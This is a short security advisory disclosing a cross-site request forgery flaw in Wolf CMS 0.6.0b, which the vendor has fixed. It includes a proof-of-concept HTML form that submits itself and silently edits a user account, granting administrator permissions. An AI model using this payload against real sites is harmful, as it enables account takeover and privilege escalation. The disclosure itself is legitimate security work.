XSRF (CSRF) in Wolf CMS

2010-11-28T00:00:00
ID SECURITYVULNS:DOC:25186
Type securityvulns
Reporter Securityvulns
Modified 2010-11-28T00:00:00

Description

Vulnerability ID: HTB22681 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_wolf_cms.html Product: Wolf CMS Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) Vulnerable Version: 0.6.0b and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "wolf/app/controllers/UserController.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main"> <input type="hidden" name="user[name]" value="username"> <input type="hidden" name="user[email]" value="myemail@example.com"> <input type="hidden" name="user[password]" value=""> <input type="hidden" name="user[confirm]" value=""> <input type="hidden" name="user_permission[administrator]" value="1"> <input type="hidden" name="user_permission[developer]" value="2"> <input type="hidden" name="user_permission[editor]" value="3"> <input type="hidden" name="user[language]" value="en"> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script>

Solution: Upgrade to the most recent version